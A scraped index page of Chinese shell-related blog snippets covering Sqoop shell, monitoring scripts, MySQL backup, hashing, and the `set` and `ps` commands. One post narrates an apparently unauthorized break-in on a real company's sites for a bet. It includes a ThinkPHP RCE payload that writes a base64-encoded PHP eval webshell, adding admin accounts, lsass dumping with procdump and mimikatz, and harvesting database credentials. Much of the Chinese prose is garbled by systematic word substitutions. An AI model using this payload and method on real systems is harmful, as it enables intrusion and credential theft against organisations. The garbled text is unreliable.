logstash"fi}0-basic-install1-java-install2-mysql-install3-redis-install4-minio-install5-nginx-install6-rocketmq-install7-rocketmq-console-install8-Elasticsearch-install9-Kibana-install10-Logstash-install ...

August 21, 2021 · 6 min · jiezi

关于shell:教你如何使用FusionInsight-SqoopShell

摘要:Sqoop-shell是一个Loader的shell工具,其所有性能都是通过执行脚本“sqoop2-shell”来实现的。本文分享自华为云社区《FusionInsight SqoopShell应用案例》,作者:Jia装大佬。 1 SqoopShell应用简介sqoop-shell是一个Loader的shell工具,其所有性能都是通过执行脚本“sqoop2-shell”来实现的。 sqoop-shell工具提供了如下性能: 反对创立和更新连接器反对创立和更新作业反对删除连接器和作业反对以同步或异步的形式启动作业反对进行作业反对查问作业状态反对查问作业历史执行记录反对复制连接器和作业反对创立和更新转换步骤反对指定行、列分隔符sqoop-shell工具反对如下模式: 交互模式通过执行不带参数的“sqoop2-shell”脚本,进入Loader特定的交互窗口,用户输出脚本后,工具会返回相应信息到交互窗口。 批量模式通过执行“sqoop2-shell”脚本,带一个文件名作为参数,该文件中按行存储了多条命令,sqoop-shell工具将会按程序执行文件中所有命令;或者在“sqoop2-shell”脚本前面通过“-c”参数附加一条命令,一次只执行一条命令。 2 SqoopShell配置2.1 配置Loader客户端应用“PuTTY”工具,应用装置客户端的用户登录客户端所在节点。执行以下命令,避免超时退出。TMOUT=0 执行以下命令,进入Loader客户端装置目录。例如,Loader客户端装置目录为“/opt/hadoopclient/Loader”。cd /opt/hadoopclient/Loader 执行以下命令,配置环境变量。source /opt/hadoopclient/bigdata_env 执行以下命令解压“loader-tools-1.99.3.tar”。tar -xvf loader-tools-1.99.3.tar 解压后的新文件保留在“loader-tools-1.99.3”目录。 执行以下命令批改工具受权配置文件“login-info.xml”,并保留退出。vi loader-tools-1.99.3/loader-tool/job-config/login-info.xml 2.2 配置sqoopshell 配置文件应用“PuTTY”工具,应用装置客户端的用户登录Loader客户端所在节点。执行以下命令,进入sqoop-shell工具的“conf”目录。例如,Loader客户端装置目录为“/opt/hadoopclient/Loader”。cd /opt/hadoopclient/Loader/loader-tools-1.99.3/sqoop-shell/conf 执行以下命令,配置认证信息。vi client.properties 3 Sqoopshell应用示例3.1 交互模式执行以下命令,进入交互模式(客户端以/opt/hadoopclient为例)。source /opt/hadoopclient/bigdata_env cd /opt/hadoopclient/Loader/loader-tools-1.99.3/sqoop-shell ./sqoop2-shell 获取帮忙信息(\h获取帮忙信息,\cr获取create的帮忙信息,\up获取更新的帮忙信息,以此类推)查看连接器以此类推,能够查看framework、job、connection等信息 创立连接器依据show connector信息抉择对应的连接器,依据create帮忙信息创立connection,而后依据命令行提醒,输出对应信息,如果提醒的参数无需设置,可按enter间接跳过 创立作业依据show connection进去的信息抉择对应链接,依据create帮忙信息创立Job,而后依据命令行提醒,输出对应信息,如果提醒的参数无需设置,可按enter间接跳过 也能够应用—help查看创立job的选项信息 Json获取办法 1) 登录loader原生页面,创立一个雷同类型的作业(如TaiPingTab)。 2) 导出作业的配置json文件,复制json文件中,hops的内容(包含大括号),保留为新的json文件 3) 依据业务须要调整json文件。 3.2 批量模式批量模式有两种形式,一种是./sqoop2-shell+脚本的形式,脚本中配置待执行的命令 另一种是./sqoop2-shell -c “待执行的命令”形式 获取帮忙: ./sqoop2-shell -c "create connection -cn generic-jdbc-connector --help"获取创立connection的帮忙信息 ./sqoop2-shell -c "create job -xn mysql -t import --help"查看创立Job帮忙信息 ...

August 10, 2021 · 1 min · jiezi

关于shell:这28个值得收藏的shell脚本能让你每天摸鱼近7个小时

前言:在日常工作中,凡是你要跟服务器打交道,肯定离不开的神器便是shell脚本,shell脚本能够极大的进步工程师的工作效率,防止一些认为因素导致的手误。那么明天圈圈就给大家分享28个shell脚本,心愿对大家有帮忙,脚本比拟多比拟长,一时间记不住能够先珍藏,用到的时候及时拿进去比对一下即可! 1. 轮询检测Apache状态并启用钉钉报警 #!/bin/bashshell_user="root"shell_domain="apache"shell_list="/root/ip_list"shell_row=`cat $shell_list |wc -l`function trans_text(){text=$1curl 'https://oapi.dingtalk.com/robot/send?access_token=b4fcf5862088a1bc7f2bf66a' -H'Content-Type: application/json' -d'{ #指定钉钉机器人hook地址 "msgtype": "text", "text": { "content": "'"$text"'" }, }'}function apache_check_80(){ ip=$1 URL="http://$ip/index.html" HTTP_CODE=`curl -o /dev/null -s -w "%{http_code}" "${URL}"` if [ $HTTP_CODE != 200 ] then trans_text " ================================================================= \n $ip Apache 服务器状态异样,网页返回码: '"$HTTP_CODE"' 请及时处理 ! \n ================================================================= \n" fi}while truedoshell_list="/root/ip_list"shell_row=`cat $shell_list |wc -l` for temp in `seq 1 $shell_row` do Ip_Addr=`cat $shell_list |head -n $temp |tail -n 1` apache_check_80 $Ip_Addr done sleep 10done2. 一台监控主机,一台被监控主机。被监控主机分区使用率大于80%,就发告警邮件。放到crontab外面,每10分钟执行一次 ...

July 21, 2021 · 6 min · jiezi

关于shell:记一个生产工具过于智能导致的坑

背景近期在做一个 proto 文件解决的 CLI 工具,之前应用 proto 文件,个别分为两种形式: 间接援用 proto 文件,采纳运行时动静生成 JS 代码通过 protoc 工具生成对应的 JS 文件,并在我的项目中援用后者性能会更高一些,因为编译过程在程序运行之前,所以个别会采纳后者来应用。 问题景象因为是一个通用的工具,所以 proto 文件也会是动静的,在本地环境简略的模仿了一下可能呈现的场景,而后终端执行 protoc 命令: # grpc_tools_node_protoc 为 protoc Node.js 版本的封装grpc_tools_node_protoc --js_out=import_style=commonjs,binary:./src/main/proto --grpc_out=grpc_js:./src/main/proto ./protos/**/*.proto发现所有运行失常,遂将对应代码写入脚本中,替换局部门路为变量,提交代码,发包,本地装置,验证。 后果就呈现了这样的问题: Could not make proto path relative: ./protos/**/*.proto: No such file or directory/usr/local/lib/node_modules/@infra-node/grpc-tools/bin/protoc.js:43 throw error; ^Error: Command failed: /usr/local/lib/node_modules/@infra-node/grpc-tools/bin/protoc --plugin=protoc-gen-grpc=/usr/local/lib/node_modules/@infra-node/grpc-tools/bin/grpc_node_plugin --js_out=import_style=commonjs,binary:./src/main/proto --grpc_out=grpc_js:./src/main/proto ./protos/**/*.protoCould not make proto path relative: ./protos/**/*.proto: No such file or directory at ChildProcess.exithandler (child_process.js:303:12) at ChildProcess.emit (events.js:315:20) at maybeClose (internal/child_process.js:1021:16) at Socket.<anonymous> (internal/child_process.js:443:11) at Socket.emit (events.js:315:20) at Pipe.<anonymous> (net.js:674:12) { killed: false, code: 1, signal: null, cmd: '/usr/local/lib/node_modules/@infra-node/grpc-tools/bin/protoc --plugin=protoc-gen-grpc=/usr/local/lib/node_modules/@infra-node/grpc-tools/bin/grpc_node_plugin --js_out=import_style=commonjs,binary:./src/main/proto --grpc_out=grpc_js:./src/main/proto ./protos/**/*.proto'}令人震惊,并且更令人匪夷所思的是,当我将 cmd 中的内容复制到终端中再次运行时,发现一切都是失常的。 ...

July 16, 2021 · 2 min · jiezi

关于shell:shell中三种引号的区别

shell 中有单引号、双引号和反引号,其中每种引号的用法也不雷同,上面整顿一下shell中引号的应用 单引号 str='this is a string'单引号字符串的特点: 单引号里的任何字符都会原样输入,单引号字符串中的变量是有效的;单引号字串中不能呈现单引号(对单引号应用本义符后也不行)。双引号 myname='Yuan'str="My name is \"$myname\"! \n"双引号的特点: 双引号里能够有变量双引号里能够呈现转义字符反引号 line = `sed -n '/string/=' test.txt | sed -n "1"p`echo $line反引号的作用是用来将很多命令的后果保留到一个变量中去

July 16, 2021 · 1 min · jiezi

关于shell:和妹子打赌的getshell之我不做安全了和我一起锄大地吧

最近就业,漂泊在各大街头和老头老太抢矿泉水瓶,掐架都比不过老太太,一天都没几个瓶子(喂,你们群里有瓶子嘛),回来和妹子锄大地吧。牌运倒是很好,赢了妹子好多局,惹得妹子急了:“你这么牛皮哄哄的,大黑阔了不起是吗,哼,也没见你拿过一个站”。凭借多年的高情商,我不仅没有哄妹子开心,还牛皮哄哄跟她打了赌,说明天就给你拿一个站。“好啊,你去吧。哼,不理你了”。看吧,等我拿下一个站后,她肯定会很崇拜我的。 0x00 信息收集信息收集绕不开,也是最重要的一个环节。选了某个企业,先对企业的进行域名信息收集。在百度上发现该企业的两个主站,别离是fxxxx.cc和jxxxx.com,别离进行了子域名的搜寻。个别用别人的在线工具,以及Sublist3r、subDomainsBrute和Layer,整合它们的后果,必要时,再百度和Google收集。大型的厂商倡议做N级域名探测:一一查看,接着,对各个站点进行指纹识别,能够晓得站点是否为已知的CMS、应用何种语言或框架等。有时候,云悉可能没有扫出来,能够应用firefox的插件wappalyzer。在云悉能够查看“该单位其余域名”,这个也能够取得更全面的信息。再收集一下备案信息,也可能有意料之外的播种。接着,对已知的站点IP应用在线的端口扫描工具进行扫描,辨认凋谢的端口;最初,对GitHub、以及谷歌搜寻收集到的信息,进行整合,并作具体记录。当然,两头我省略了像是whois等的收集。对于信息收集,就不多说了。 0x01 意外的getshell在对jxxxx.com进行跟进一步的信息收集与破绽探测时,发现在URL后随便增加字符串,服务器会响应一个报错页面,并打印具体的信息。发现该站点应用了ThinkPHP框架,且版本号为5.0.23——外表毫无波澜,实则心田偷乐了一下。凭借多年的VMware下的yy浸透测试的教训,好吧,我抵赖我是垃圾哈哈哈哈。ThinkPHP 5.0.x和5.1.x存在RCE,间接拿出payload怼下来就好了。能够看到权限很高,然而无奈,怎么都写不进文件,但这也不能说是相对的好事。这时候,拿给妹子看了一下,“哦,很厉害啵,哼”。啊,能够感触到妹子曾经被我的速度震惊了——这么快!但我不能自豪,我还要持续,“哦,那你去吧”,看吧,妹子在激励我,盘它!然而,jxxxx.com的只剩下1个登录框,2个UPUPW_NP页面,然而,对登录框以及PHPmyadmin进行了爆破,都没有停顿——啊咧!是我自豪了嘛? 0x02 又一个shell别我问为啥是这个题目,切实是想不进去了(狗头保命)。在crm登录界面,应用top500姓名和弱口令进行爆破,发现会被BAN掉;其余的登录处,top500都显示不存在该用户名——太难了。此时间隔打牌以及一个钟头了,对fxxxx.cc的crm零碎进行探测时,顺手又来了一个乱写的URL,又是相熟的界面,此时的ThinkPHP版本为5.0.12,版本号也是在破绽范畴内的。此时尝试写入webshell文件,payload:index.php? s=index/thinkapp/invokefunction&function=call_user_func_array&vars[0]=assert&vars[1][]=@file_put_contents(base64_decode(MTIzNDUucGhw),base64_decode(MTI8P3BocCBldmFsKEAkX1BPU1RbJ2EnXSk7)),拜访能够执行phpinfo(),蚁剑链接:在另一个站点demo.fxxxx.cc上,如法炮制了一个shell进去。如下: 顺手又给妹子看了,“哼!不理你了,当前别找我打牌了”!咦,我赢了呀,妹子干嘛不跟我打牌了?妹子肯定是看我赢了恼羞成怒,真大方。我持续搞。 0x03 getshell后续当然,最终的目标必定是远程桌面(开了3389端口)。故而,在demo.fxxxx.cc的shell上开终端,增加管理员账户,然而,很可怜地无奈增加进管理员组:在crm.fxxxx.cc的shell上开终端,增加管理员账户,胜利增加进管理员用户组。然而远程桌面登录时,提醒连贯被回绝,没有被受权进行近程登录:平时碰到这样的状况,如果是权限不够不能增加,能够先提权,获取system权限。如果曾经是该权限了,还是不能,能够抓取管理员的明文明码。罕用procdump获取内存文件lsass.exe过程中存储的明文登录明码,接着应用mimikatz读取lsass.dmp,这样就能够了。然而,这个过程,你还须要让管理员登录,这样能力抓取到明文明码,否则将读取到(null)。所以,此时须要批改注册表,强制锁屏,这样,管理员看到后会从新登录,这样就能够抓取到明文明码了。然而,折腾了一番,管理员或者是跟妹子打牌去了,没有获取到,我去!翻看了一下源代码,取了3个数据库的登录信息。以下只贴出了crm.fxxxx.com的两个数据库:没什么说的间接连贯就好了,没敢乱动数据,毕竟在外面不能玩手机,怎么和妹子打牌: 0x04 写在最初第二天,醒来就把这些写下来了。当然,不做后续的测试,虽说拿到了用户的登录用户名明码,然而,也没啥意思了,还是和妹子打牌吧。然而,锄大地建房了,妹子始终不上线,啊咧!妹子输怕了吗?“gun啊!不想跟你谈话了”。Orz。小破站,foieojoejgoisejgijohgudgadojefoejof意外了! PS:文中的一切都是在梦游中产生的:)。

July 15, 2021 · 1 min · jiezi

关于shell:mysql备份工具

1文档目标本文档形容mysql备份工具装置办法和应用办法。2装置及应用阐明2.1性能每日对mysql数据库进行备份。此工具有两个不同的脚本,只须要抉择其中一个即可:1、mysqlbak.sh对应曾经装置mysql数据库,能够应用mysqldump命令的环境。备份后果文件为zxindb1.sql,导出所有数据库的所有表、存储过程、函数、事件和表空间,将导出文件进行压缩并保留最近两天的导出文件,当天的文件为zxindb1.sql.gz,前一天文件为zxindb2.sql.gz。实用于数据库数据量较小的状况,占用空间较少。2、xtrabak.sh对应了装置了官网热备份工具xtrabackup能够应用innobackupex命令进行备份的环境。备份后果是整个mysql数据文件的拷贝,只保留当天导出的数据状况,实用于数据库数量较多的状况,占用空间较大。2.2工具装置2.2.1mysqlbak.sh的装置(1)查看是否有 mysqldump 性能,以可后盾登录mysql数据库的用户登录服务器,如ebaserdb用户,运行命令查看mysqldump 版本信息: mysqldump -V 打印版本信息证实命令可用。(2)数据库确保二进制文件性能开启。(待补充)(3)以ebaserdb用户登录,建设目录mkdir -p /home/ebaserdb/task,ASCII形式上传脚本 mysqlbak.sh 至mysql部署服务器/home/ebaserdb/task目录中。进入/home/zxin10/task目录下,执行chmod u+x mysqlbak.sh赋执行权限。(4)以ebaserdb用户登录,建设目录mkdir -p /home/ebaserdb/etc,ASCII形式上传配置文件 mysqlbak.ini 至mysql部署服务器/home/ebaserdb/etc目录中。(5)以ebaserdb用户执行vi /home/ebaserdb/task/mytabs编辑mytabs文件,增加:0 1 * /home/ebaserdb/task/mysqlbak.sh >/dev/null 2>&1设置成为每日1:00执行一次,退出保留后执行crontab /home/ebaserdb/task/mytabs使定时工作失效。2.2.2xrtabak.sh的装置(1)2.3工具配置项脚本第一个函数init_configurable_env()为初始化配置变量,用户须要在其中批改配置,具体配置及阐明如下:重要配置:1.话单目录,能够配置多个目录,多个目录间用空格离开,如:"/home/zxin10/cdr1 /home/zxin10/cdr2"。例如: DIR="/home/zxin10/cdr1 /home/zxin10/cdr2 /home/zxin10/lc2"话单目录须要参考334接口机配置文件service334.ini [ConvertCDR]标签下的IsSaveNotToJF(是否须要保留不给计费核心的文件),倡议配置为1(保留),并配置NotToJFDir(不去计费话单的保留目录):[ConvertCDR] ;是否须要保留不给计费核心的文件 IsSaveNotToJF = 1 ;保留不给计费核心文件的目录 NotToJFDir = c:\zxin10\nottojf\ 同时还须要设置不去计费话单保留天数,在标签[CheckPriceLog]下的CheckPriceLogBakDays,倡议至多设置保留3天:[CheckPriceLog] ;原文件备份天数 CheckPriceLogBakDays = 3service334.ini 每个[业务键]标签下,IsCDRBack(是否备份原始cdr)倡议设置为1(备份),并配置BackCDRDir(备份门路),BackCDRDays(备份天数),备份天数倡议至多为3(天),例如业务键20:[20] ;是否备份原始cdr,转换后cdr(0--不备份 1--备份) IsCDRBack = 1,0 ;原始cdr,转换后cdr备份门路 BackCDRDir = c:\zxin10\INCDRBack\,c:\zxin10\ISMPCDRBack\, ;原始cdr,转换后cdr备份工夫,单位:天 BackCDRDays = 3,3将此保留原始cdr的设置利用到所有业务键1,20,40,60等。工具中话单门路的设置为不给计费核心文件目录和原始cdr备份目录:DIR=" c:\zxin10\nottojf\ c:\zxin10\INCDRBack\"两个目录会以天命名文件夹,寄存当天生成的话单文件,工具将会去查找这两个目录中对应当天日期的目录,搜寻话单文件。2.告警短信发送号码,号码间用逗号隔开(英文逗号),例如:USERCODE=111111,22222请正确配置告警短信发送号码。 告警短信下发环境配置查看短信下发调用lwp的短信群发性能。查看主门户的zxin10.scr的[SCAP] 段:[SCAP] SmitPno = 365 SmitModule = 188 ; 365接口所在设施模块号 SmitByteAdjust = 1 以zxin10用户执行zxtool -c 查看SMITMODULE对应的链路是否失常。如果异样则须要依据现场状况配置主门户与短信接口机(365接口)之间的链路。其余配置:不倡议批改以下告警和显示记录数配置,它们会以默认值失效,现场依据本身状况也可依照以下阐明批改这些配置。按工夫统计的峰值业务量记录显示数目,无效范畴1-1000,默认为100条请设置正整数:RECORDNUM=100月租费用回升告警门限,单位%,默认为60%,无效范畴0-1000,如为0则不告警,请设置正整数:MONEY_RIS_LIM=60月租费用降落告警门限,单位%,默认为60%,无效范畴0-100,如为0则不告警,请设置正整数MONEY_DEC_LIM=60业务量回升告警门限,单位%,默认为70%,无效范畴0-1000,如为0则不告警,请设置正整数:SRV_RIS_LIM=70业务量降落告警门限,单位%,默认为70%,无效范畴0-100,如为0则不告警,请设置正整数:SRV_DEC_LIM=70按设施类型统计业务量回升告警门限,单位%,默认为80%,无效范畴0-1000,如为0则不告警,请设置:正整数DEV_RIS_LIM=80按设施类型统计业务量降落告警门限,单位%,默认为80%,无效范畴0-100,如为0则不告警,请设置:正整数DEV_DEC_LIM=80告警短信发送时段,开始工夫。默认为早上8:00(0800)到早晨20:00(2000)之间,请设置正整数:ALARM_BEGINTIME=0800告警短信发送时段,完结工夫。默认为早上8:00到早晨20:00之间,请设置正整数:ALARM_ENDTIME=20001.1.装置及应用工具首先要确保该机器定时工作性能启动。1.脚本须要以zxin10用户,ASCII形式上传至334接口机所在的服务器/home/zxin10/task目录中。以zxin10用户登录,进入/home/zxin10/task目录下,执行chmod u+x ServiceAlarm.sh赋执行权限。2.以zxin10用户执行vi /home/zxin10/task/mytabs编辑mytabs文件,增加:0 3 * /home/zxin10/task/ServiceAlarm.sh,设置成为每日3:00执行一次,退出保留后执行crontab /home/zxin10/task/mytabs使定时工作失效。3.工具的后果文件保留目录为:/home/zxin10/service_alarm。每日按设施类型业务量及费用统计后果名称为:cdrdatastatYYYYMMDD.txt;统计每日某工夫业务峰值记录后果为:cdrtopdataYYYYMMDD.txt。其中YYYYMMMDD为年份月份日期。4.工具的日志目录在/home/zxin10/service_alarm,日志名为:ServiceAlarm.log。5.工具设置锁文件,不容许两个以上的过程同时运行。锁文件寄存于/home/zxin10/task目录中,名为ServiceAlarm.lock,如果工具因为异样而退出,当再次运行时,ServiceAlarm.log中呈现ServiceAlarm.lock detected, maybe another copy of this script is running的谬误时,能够进入/home/zxin10/task目录删除该文件。1.2.后果文件内容阐明1.对于每天的话单,以天为单位分业务键及源设施类型统计话务量,出具一份业务统计后果文件,其文件名为:cdrdatastatYYYYMMDD.txt,其文件内容格局为:业务键|话单业务键|话单源设施类型|话单总数|话单胜利总数|胜利主话单的总费用业务键即1、20、40、60这种标识,对于月租填30即可。话单业务键即话单文件名中的业务键,如31话单的业务键为31。 ...

July 3, 2021 · 1 min · jiezi

关于shell:shell-备忘

1:罕用快捷命令Ctrl + a :移到命令行首Ctrl + e :移到命令行尾Ctrl + u :从光标处删除至命令行首2: 非凡变量$? -> 上一个命令的退出状态或函数返回值[vagrant@localhost bin]$ echo $?0退出状态码(exit status)是一个0-255之前的整数值,在命令完结时由命令传回给shell 常见状态码阐明0命令运行胜利1通用未知谬误2误用shell命令126命令不可执行127没找到命令128有效退出参数128+xLinux 信号x的严重错误130命令通过SIGINT(Ctrl+C)终止255退出状态码越界

June 25, 2021 · 1 min · jiezi

关于shell:sh256sumxxdbase64联合计算文件的hash

计算文件hash值并进行base64编码 # 计算文件的sha256哈西值$ sha256sum filename f3b6d97538bf435399529405f5b5e88a81911d0439935ab82dd8c4c61df3d0df filename$ sha256sum filename | base64ZjNiNmQ5NzUzOGJmNDM1Mzk5NTI5NDA1ZjViNWU4OGE4MTkxMWQwNDM5OTM1YWI4MmRkOGM0YzYx //依据(base64)RFC822规定,每76个字符加一个换行符ZGYzZDBkZiAgY2dvMDEuYwo=# 依据base64把每三个8Bit的字符转换为四个6Bit的字符,数据有余3个字节的用0补足(base64后个别在前面显示为"=",所以最多可能有2个等号)# base64计算后的字节数计算方法如下:# base64后字符 = (原始字符长度 + 2) / 3 * 4# 依据下面的计算公式,sha256sum filename | base64的计算结果应该是44字节,然而理论计算结果100字节远远大于44字节,问题出在sha256sum上# 能够看出sha256sum filename 输入的后果为16进制的数据,咱们须要二进制的形式进行输入$ sha256sum filename | xxd -b00000000: 01100110 00110011 01100010 00110110 01100100 00111001 f3b6d900000006: 00110111 00110101 00110011 00111000 01100010 01100110 7538bf0000000c: 00110100 00110011 00110101 00110011 00111001 00111001 43539900000012: 00110101 00110010 00111001 00110100 00110000 00110101 52940500000018: 01100110 00110101 01100010 00110101 01100101 00111000 f5b5e80000001e: 00111000 01100001 00111000 00110001 00111001 00110001 8a819100000024: 00110001 01100100 00110000 00110100 00110011 00111001 1d04390000002a: 00111001 00110011 00110101 01100001 01100010 00111000 935ab800000030: 00110010 01100100 01100100 00111000 01100011 00110100 2dd8c400000036: 01100011 00110110 00110001 01100100 01100110 00110011 c61df30000003c: 01100100 00110000 01100100 01100110 00100000 00100000 d0df 00000042: 01100011 01100111 01101111 00110000 00110001 00101110 cgo01.00000048: 01100011 00001010 c.# xxd 命令是二进制查看命令, -b参数示意以2进制字符串模式输入# 这样就失去了二进制的输入,而后咱们再计算base64的值$ sha256sum filename | xxd -b | base64MDAwMDAwMDA6IDAxMTAwMTEwIDAwMTEwMDExIDAxMTAwMDEwIDAwMTEwMTEwIDAxMTAwMTAwIDAwMTExMDAxICBmM2I2ZDkKMDAwMDAwMDY6IDAwMTEwMTExIDAwMTEwMTAxIDAwMTEwMDExIDAwMTExMDAwIDAxMTAwMDEwIDAxMTAwMTEwICA3NTM4YmYKMDAwMDAwMGM6IDAwMTEwMTAwIDAwMTEwMDExIDAwMTEwMTAxIDAwMTEwMDExIDAwMTExMDAxIDAwMTExMDAxICA0MzUzOTkKMDAwMDAwMTI6IDAwMTEwMTAxIDAwMTEwMDEwIDAwMTExMDAxIDAwMTEwMTAwIDAwMTEwMDAwIDAwMTEwMTAxICA1Mjk0MDUKMDAwMDAwMTg6IDAxMTAwMTEwIDAwMTEwMTAxIDAxMTAwMDEwIDAwMTEwMTAxIDAxMTAwMTAxIDAwMTExMDAwICBmNWI1ZTgKMDAwMDAwMWU6IDAwMTExMDAwIDAxMTAwMDAxIDAwMTExMDAwIDAwMTEwMDAxIDAwMTExMDAxIDAwMTEwMDAxICA4YTgxOTEKMDAwMDAwMjQ6IDAwMTEwMDAxIDAxMTAwMTAwIDAwMTEwMDAwIDAwMTEwMTAwIDAwMTEwMDExIDAwMTExMDAxICAxZDA0MzkKMDAwMDAwMmE6IDAwMTExMDAxIDAwMTEwMDExIDAwMTEwMTAxIDAxMTAwMDAxIDAxMTAwMDEwIDAwMTExMDAwICA5MzVhYjgKMDAwMDAwMzA6IDAwMTEwMDEwIDAxMTAwMTAwIDAxMTAwMTAwIDAwMTExMDAwIDAxMTAwMDExIDAwMTEwMTAwICAyZGQ4YzQKMDAwMDAwMzY6IDAxMTAwMDExIDAwMTEwMTEwIDAwMTEwMDAxIDAxMTAwMTAwIDAxMTAwMTEwIDAwMTEwMDExICBjNjFkZjMKMDAwMDAwM2M6IDAxMTAwMTAwIDAwMTEwMDAwIDAxMTAwMTAwIDAxMTAwMTEwIDAwMTAwMDAwIDAwMTAwMDAwICBkMGRmICAKMDAwMDAwNDI6IDAxMTAwMDExIDAxMTAwMTExIDAxMTAxMTExIDAwMTEwMDAwIDAwMTEwMDAxIDAwMTAxMTEwICBjZ28wMS4KMDAwMDAwNDg6IDAxMTAwMDExIDAwMDAxMDEwICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBjLgo=# 能够看出输入的长度也不是44,不合乎预期,查看xxd命令得悉还有其余参数:# -ps 示意以postscript的间断16进制转储输入,也叫做纯16进制转储# -r 示意逆向转换,将16进制字符串示意转换为理论的字符$ sha256sum filename | xxd -r -ps���u8�CS�R���芁�9�Z�-������$ sha256sum filename | xxd -r -ps | base6487bZdTi/Q1OZUpQF9bXoioGRHQQ5k1q4LdjExh3z0N8B# 当初失去的后果正是咱们想要的正确后果,长度为44# 验证命令如下:$ echo "87bZdTi/Q1OZUpQF9bXoioGRHQQ5k1q4LdjExh3z0N8B" | base64 -d���u8�CS�R���芁�9�Z�-������

June 24, 2021 · 1 min · jiezi

关于shell:Liunx-shell脚本学习整理

一、理解shell脚本语言 shell脚本是应用c语言进行编写的程序,执行shell程序,底层会执行c语言的逻辑代码。shell是命令行语言,也是一种程序设计语言。 1.1 头文件#!bin/bash xx在文件的头一行须要标注#!bin/bash,该行的意思是示意该文件为shell程序,应用bin/bash作为解释器,对立还能够应用其余的解释器如:/usr/bin/csh等等 二、编写语法2.1 申明变量value="xxxx"申明变量赋值时”=”号左右不能有空格 2.2 应用变量${value} 这样应用变量,用{}标注变量的边界2.3 应用for 应用for循环,个别为 for x in 范畴 ; do xx done; for item in `ls`for item in 'letter'array=(dfa dfas dasf)for item in ${array}for((i=0;i<10;i++))3. 替换命令应用$()和``都能替换命令,也进行能够执行命令并且将值进行赋值给对应的变量。 for item in `ls`;do echo item;done其中$()和``的作用统一 4. 参数操作在执行sh文件时,能够传递参数,如 sh sh.sh param1 5. 执行命令在shell中执行命令能够应用如下形式 lsCommond="ls"${lsCommond}能够应用(ls)进行执行。 6. eval命令 当咱们在命令行前加上eval时,shell就会在执行命令之前扫描它两次.eval命令将首先会先扫描命令行进行所有的置换,而后再执行该命令。该命令实用于那些一次扫描无奈实现其性能的变量。该命令对变量进行两次扫描。 lsc="ls"lsCommond="${lsc}"eval ${lsCommond}如果不加eval,则会无反馈,因为${lsc}不会被解析成ls

June 24, 2021 · 1 min · jiezi

关于shell:shell-脚本-片段

1、遍历给定工夫范畴内的日期 #! /bin/bashstart_date=2021.01.01end_date=2021.01.30start_sec=`date -d "$start_date" "+%s"`end_sec=`date -d "$end_date" "+%s"`for((i=start_sec;i<=end_sec;i+=86400)); do day=$(date -d "@$i" "+%Y.%m.%d") echo $daydone

June 8, 2021 · 1 min · jiezi

关于shell:xxxxxsh-line-13-if-N-command-not-found

问题形容xxxxx.sh line 13: if[ == N]: command not found 在编写shell 测试 script时遇到谬误 在应用if else elif 中遇到谬误 问题剖析到stackoverflow上找到解答 问题属于语法标准和注意事项的问题 if else 语句的应用标准 问题解决查看这个答复和这个答复 例子 # 如果不部署if["$ifDeploy" == "N"]then echo "thank you ,catch you later!"# 如果抉择部署elif["$ifDeploy" == "Y"]if和[ 之间须要space(空格)[后和]前须要space(空格)图示: ⚠️ 而且,如果编写格局不对,高亮显示也会不同! 相干文章: Syntax error near unexpected token 'then'猜你想看: Shell Script - syntax error near unexpected token `else'

June 7, 2021 · 1 min · jiezi

关于shell:set-命令

查看帮忙set --help查看已设置的flag$ echo $-himBHs设置flagset -flag勾销设置flagset +flag查看应用 -o 设置的 flag$ set -oallexport offbraceexpand onemacs onerrexit offerrtrace offfunctrace offhashall onhistexpand onhistory onignoreeof offinteractive-comments onkeyword offmonitor onnoclobber offnoexec offnoglob offnolog offnotify offnounset offonecmd offphysical offpipefail offposix offprivileged offverbose offvi offxtrace off应用 -o 设置 flag# 比方命令行历史,set -o 查看状态变为onset -o history应用 +o 勾销设置 flag# 比方命令行历史,set -o 查看状态变为offset +o historyset -v显示 shell 所读取的输出值,再显示输入 $ set -v$ lslstest1 test2$ echo 123echo 123123set -x开启脚本调试 以下会间接打印两头变量扩大后的值,不须要再另外打印 //test6 文件#!/usr/bin/bashset -xa=$1b=$2$ ./test6 q ewr er+ ./test6 q ewr er+ a=q+ b=ewrset --会先将原有的地位参数 unset(相当于置空)。 ...

May 29, 2021 · 1 min · jiezi

关于shell:mac-上PS命令使用指北

失常的ps命令是打印进去PID TTY TIME CMD四个字段 PID TTY TIME CMD 5131 ttys000 0:00.20 -zsh14330 ttys000 0:00.46 ios_webkit_debug_proxy -f chrome-devtools://devtools/b60457 ttys001 0:00.31 -zsh 7097 ttys002 0:00.14 -zsh88776 ttys003 0:00.22 -zsh 4748 ttys004 0:07.38 /Library/Frameworks/Python.framework/Versions/3.8/Reso76131 ttys004 0:00.59 -zsh16212 ttys005 0:00.24 -zsh42452 ttys005 0:03.67 /usr/bin/java -jar UICrawler-2.0.jar -u d4917fbadf4b7128402 ttys006 0:00.28 -zsh43381 ttys009 0:00.15 -zsh看到挺诡异的没,CMD内容过长被截断了,UICrawler这一行自身很长,如何显示出残缺的门路呢,ps -f 打印出残缺信息(起初发现这个把终端宽度拖宽一点就能够显示了,他只是一行显示不下不回换行,害我弄良久,垃圾,ps -f默认应该是能够多行显示) ps -f UID PID PPID C STIME TTY TIME CMD 501 5131 5130 0 10:02上午 ttys000 0:00.20 -zsh 501 14330 5131 0 10:17上午 ttys000 0:00.48 ios_webkit_debug_proxy -f chrome-devtools://devtools/bundled/inspector.html 501 60457 60456 0 四10上午 ttys001 0:00.31 -zsh 501 88776 88775 0 12:27下午 ttys003 0:00.22 -zsh 501 4748 76131 0 10:01上午 ttys004 0:07.53 /Library/Frameworks/Python.framework/Versions/3.8/Resources/Python.app/Contents/MacOS/Python ocrServer.py 501 76131 76130 0 4:36下午 ttys004 0:00.59 -zsh 501 16212 16211 0 10:19上午 ttys005 0:00.24 -zsh 501 47021 16212 0 2:30下午 ttys005 0:04.07 /usr/bin/java -jar UICrawler-2.0.jar -u d4917fbadf4b71db3c9b3a835f100099b0432442 -s 127.0.0.1 -t 4723 -f config_ios.yml -b com.tencent.weread -o out_file -log 501 48459 47021 0 2:33下午 ttys005 0:00.01 /usr/local/bin/idevicescreenshot -u d4917fbadf4b71db3c9b3a835f100099b0432442 out_file/del.png 501 43381 43380 0 2:24下午 ttys009 0:00.18 -zsh内容是齐全了,怎么能力把除了CMD字段的其余内容去掉ps -fo command? ...

May 21, 2021 · 2 min · jiezi

关于shell:centos配置root自动登录

批改配置文件vim /etc/gdm/custom.conf 在[daemon]下增加两行即可 AutomaticLoginEnable=trueAutomaticLogin=root重启零碎

May 13, 2021 · 1 min · jiezi

